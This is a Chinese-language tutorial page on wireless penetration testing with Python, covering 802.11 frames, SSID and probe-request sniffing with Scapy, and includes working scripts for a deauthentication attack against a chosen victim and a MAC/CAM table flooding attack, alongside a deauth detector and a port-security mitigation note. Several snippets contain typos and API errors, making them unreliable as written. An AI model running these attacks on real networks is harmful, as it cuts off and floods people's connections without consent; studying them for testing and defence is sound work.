- Python渗透测试教程
- Python渗透测试 - 首页
- 介绍
- 评估方法
- 网络通信入门
- 套接字及其方法
- Python网络扫描器
- 网络数据包嗅探
- ARP欺骗
- 无线网络渗透测试
- 应用层
- 客户端验证
- DoS & DDoS攻击
- SQL注入式Web攻击
- XSS Web攻击
- 有用资源
- 快速指南
- 有用资源
- 讨论
无线网络渗透测试
无线系统具有很大的灵活性,但另一方面,它也带来了严重的安全性问题。那么,这怎么会成为一个严重的安全性问题呢?因为对于无线连接,攻击者只需要能够接收到信号就可以发起攻击,而不需要像有线网络那样需要物理访问。无线系统的渗透测试比有线网络更容易。我们无法对无线介质采取良好的物理安全措施,如果我们足够靠近,我们将能够“听到”(或者至少你的无线适配器能够听到)所有在空中传输的数据。
先决条件
在深入学习无线网络渗透测试之前,让我们先讨论一下术语以及客户端和无线系统之间通信的过程。
重要术语
现在让我们学习与无线网络渗透测试相关的重要的术语。
接入点 (AP)
接入点 (AP) 是 802.11 无线实现中的中心节点。该点用于将用户连接到网络中的其他用户,也可以作为无线局域网 (WLAN) 和固定有线网络之间的互连点。在 WLAN 中,AP 是传输和接收数据的站点。
服务集标识符 (SSID)
它是一个 0-32 字节长的可读文本字符串,基本上是分配给无线网络的名称。网络中的所有设备都必须使用此区分大小写的名称才能通过无线网络 (Wi-Fi) 通信。
基本服务集标识符 (BSSID)
它是无线接入点 (AP) 上运行的 Wi-Fi 芯片组的 MAC 地址。它是随机生成的。
信道号
它表示接入点 (AP) 用于传输的射频范围。
客户端与无线系统之间的通信
我们还需要了解的另一件重要的事情是客户端与无线系统之间通信的过程。借助下图,我们可以了解这一点:
信标帧
在客户端和接入点之间的通信过程中,AP 定期发送信标帧以显示其存在。此帧包含与 SSID、BSSID 和信道号相关的信息。
探测请求
现在,客户端设备将发送探测请求以检查范围内的 AP。发送探测请求后,它将等待来自 AP 的探测响应。探测请求包含诸如 AP 的 SSID、特定于供应商的信息等信息。
探测响应
现在,在收到探测请求后,AP 将发送探测响应,其中包含诸如支持的数据速率、功能等信息。
身份验证请求
现在,客户端设备将发送包含其身份的身份验证请求帧。
身份验证响应
现在,作为响应,AP 将发送身份验证响应帧,指示接受或拒绝。
关联请求
身份验证成功后,客户端设备已发送关联请求帧,其中包含支持的数据速率和 AP 的 SSID。
关联响应
现在,作为响应,AP 将发送关联响应帧,指示接受或拒绝。如果接受,将创建客户端设备的关联 ID。
使用 Python 查找无线服务集标识符 (SSID)
我们可以借助原始套接字方法以及使用 Scapy 库来收集有关 SSID 的信息。
原始套接字方法
我们已经了解到 **mon0** 捕获无线数据包;因此,我们需要将监视模式设置为 **mon0**。在 Kali Linux 中,可以使用 **airmon-ng** 脚本完成此操作。运行此脚本后,它将为无线网卡指定一个名称,例如 **wlan1**。现在,借助以下命令,我们需要在 **mon0** 上启用监视模式:
airmon-ng start wlan1
以下是原始套接字方法,Python 脚本,它将为我们提供 AP 的 SSID:
首先,我们需要导入套接字模块,如下所示:
import socket
现在,我们将创建一个套接字,它将具有三个参数。第一个参数告诉我们数据包接口(对于 Linux 特定为 PF_PACKET,对于 Windows 为 AF_INET),第二个参数告诉我们它是否是原始套接字,第三个参数告诉我们我们对所有数据包感兴趣。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
现在,下一行将绑定 **mon0** 模式和 **0x0003**。
s.bind(("mon0", 0x0003))
现在,我们需要声明一个空列表,它将存储 AP 的 SSID。
ap_list = []
现在,我们需要调用 **recvfrom()** 方法来接收数据包。为了使嗅探继续进行,我们将使用无限 while 循环。
while True: packet = s.recvfrom(2048)
下一行代码显示如果帧为 8 位,则表示信标帧。
if packet[26] == "\x80" : if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0: ap_list.add(packetkt[36:42]) print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
使用 Scapy 进行 SSID 嗅探
Scapy 是最好的库之一,它允许我们轻松嗅探 Wi-Fi 数据包。您可以在 https://scapy.readthedocs.io/en/latest/ 详细了解 Scapy。首先,在交互模式下运行 Scapy 并使用命令 conf 获取 iface 的值。默认接口是 eth0。现在,正如我们上面所做的那样,我们需要将此模式更改为 mon0。可以按如下方式完成:
>>> conf.iface = "mon0" >>> packets = sniff(count = 3) >>> packets <Sniffed: TCP:0 UDP:0 ICMP:0 Other:5> >>> len(packets) 3
现在让我们导入 Scapy 作为库。此外,执行以下 Python 脚本将为我们提供 SSID:
from scapy.all import *
现在,我们需要声明一个空列表,它将存储 AP 的 SSID。
ap_list = []
现在,我们将定义一个名为 **Packet_info()** 的函数,它将具有完整的包解析逻辑。它将具有参数 pkt。
def Packet_info(pkt) :
在下一条语句中,我们将应用一个过滤器,该过滤器只允许通过 **Dot11** 流量,这意味着 802.11 流量。后面的那行也是一个过滤器,它允许通过帧类型为 0(表示管理帧)且帧子类型为 8(表示信标帧)的流量。
if pkt.haslayer(Dot11) : if ((pkt.type == 0) & (pkt.subtype == 8)) : if pkt.addr2 not in ap_list : ap_list.append(pkt.addr2) print("SSID:", (pkt.addr2, pkt.info))
现在,sniff 函数将使用 **iface** 值 **mon0**(对于无线数据包)嗅探数据并调用 **Packet_info** 函数。
sniff(iface = "mon0", prn = Packet_info)
要实现上述 Python 脚本,我们需要能够使用监视模式嗅探空气的 Wi-Fi 网卡。
检测接入点客户端
要检测接入点的客户端,我们需要捕获探测请求帧。我们可以像在使用 Scapy 的 SSID 嗅探器 Python 脚本中所做的那样进行操作。我们需要为捕获探测请求帧提供 **Dot11ProbeReq**。以下是检测接入点客户端的 Python 脚本:
from scapy.all import * probe_list = [] ap_name= input(“Enter the name of access point”) def Probe_info(pkt) : if pkt.haslayer(Dot11ProbeReq) : client_name = pkt.info if client_name == ap_name : if pkt.addr2 not in Probe_info: Print(“New Probe request--”, client_name) Print(“MAC is --”, pkt.addr2) Probe_list.append(pkt.addr2) sniff(iface = "mon0", prn = Probe_info)
无线攻击
从渗透测试人员的角度来看,了解无线攻击是如何发生的非常重要。在本节中,我们将讨论两种无线攻击:
去认证 (deauth) 攻击
MAC 地址泛洪攻击
去认证 (deauth) 攻击
在客户端设备和接入点之间的通信过程中,每当客户端想要断开连接时,它都需要发送去认证帧。作为对客户端该帧的响应,AP 也将发送去认证帧。攻击者可以通过伪造受害者的 MAC 地址并将去认证帧发送到 AP 来利用此正常过程。由于此原因,客户端和 AP 之间的连接将断开。以下是执行去认证攻击的 Python 脚本:
让我们首先导入 Scapy 作为库:
from scapy.all import * import sys
以下两条语句将分别输入 AP 和受害者的 MAC 地址。
BSSID = input("Enter MAC address of the Access Point:- ") vctm_mac = input("Enter MAC address of the Victim:- ")
现在,我们需要创建去认证帧。可以通过执行以下语句来创建它。
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
下一行代码表示发送的数据包总数;此处为 500,以及两个数据包之间的间隔。
sendp(frame, iface = "mon0", count = 500, inter = .1)
输出
执行后,上述命令将生成以下输出:
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP) Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
接下来是创建 deauth 帧,然后代表客户端将其发送到接入点。这将使它们之间的连接取消。
这里的问题是如何使用 Python 脚本检测 deauth 攻击。执行以下 Python 脚本将有助于检测此类攻击:
from scapy.all import * i = 1 def deauth_frame(pkt): if pkt.haslayer(Dot11): if ((pkt.type == 0) & (pkt.subtype == 12)): global i print ("Deauth frame detected: ", i) i = i + 1 sniff(iface = "mon0", prn = deauth_frame)
在上面的脚本中,语句 **pkt.subtype == 12** 指示 deauth 帧,全局定义的变量 I 说明了数据包的数量。
输出
执行上述脚本将生成以下输出:
Deauth frame detected: 1 Deauth frame detected: 2 Deauth frame detected: 3 Deauth frame detected: 4 Deauth frame detected: 5 Deauth frame detected: 6
MAC 地址泛洪攻击
MAC 地址泛洪攻击(CAM 表泛洪攻击)是一种网络攻击,攻击者连接到交换机端口,使用大量具有不同伪造源 MAC 地址的以太网帧泛洪交换机接口。当大量 MAC 地址泛洪到表中并达到 CAM 表阈值时,就会发生 CAM 表溢出。这会导致交换机像集线器一样工作,在所有端口上泛洪网络流量。此类攻击很容易发起。以下 Python 脚本有助于发起此类 CAM 泛洪攻击:
from scapy.all import * def generate_packets(): packet_list = [] for i in xrange(1,1000): packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP()) packet_list.append(packet) return packet_list def cam_overflow(packet_list): sendp(packet_list, iface='wlan') if __name__ == '__main__': packet_list = generate_packets() cam_overflow(packet_list)
这种攻击的主要目的是检查交换机的安全性。如果想减轻 MAC 泛洪攻击的影响,我们需要使用端口安全。